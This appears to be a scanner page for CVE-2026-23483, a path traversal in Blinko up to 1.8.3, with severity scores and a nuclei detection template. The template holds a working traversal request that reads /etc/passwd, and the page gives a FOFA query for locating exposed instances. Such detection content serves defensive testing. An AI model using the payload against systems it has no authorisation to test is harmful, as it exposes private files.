Blinko <= 1.8.3 - Path Traversal via /plugins

mediumseverity

5.3CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

Blinko <= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.

Impact

Remote attackers can access arbitrary files outside the intended directory, potentially exposing sensitive data.

Fix

Update to the latest version once available.

How to confirm it

Send: GET {{BaseURL}}/plugins/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-23483 -u <target>

The full check

id: CVE-2026-23483

info:
  name: Blinko <= 1.8.3 - Path Traversal via /plugins
  author: tx1ee
  severity: medium
  description: |
    Blinko <= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.
  impact: |
    Remote attackers can access arbitrary files outside the intended directory, potentially exposing sensitive data.
  remediation: |
    Update to the latest version once available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23483
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-54c7-9gxh-fg9v
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-23483
    epss-score: 0.00788
    epss-percentile: 0.56543
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: blinko-space
    product: blinko
    fofa-query: icon_hash="-1446811182" || icon_hash="-717082057"
  tags: cve,cve2026,blinko,blinko-space,lfi,path-traversal,unauth,arbitrary-file-read

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from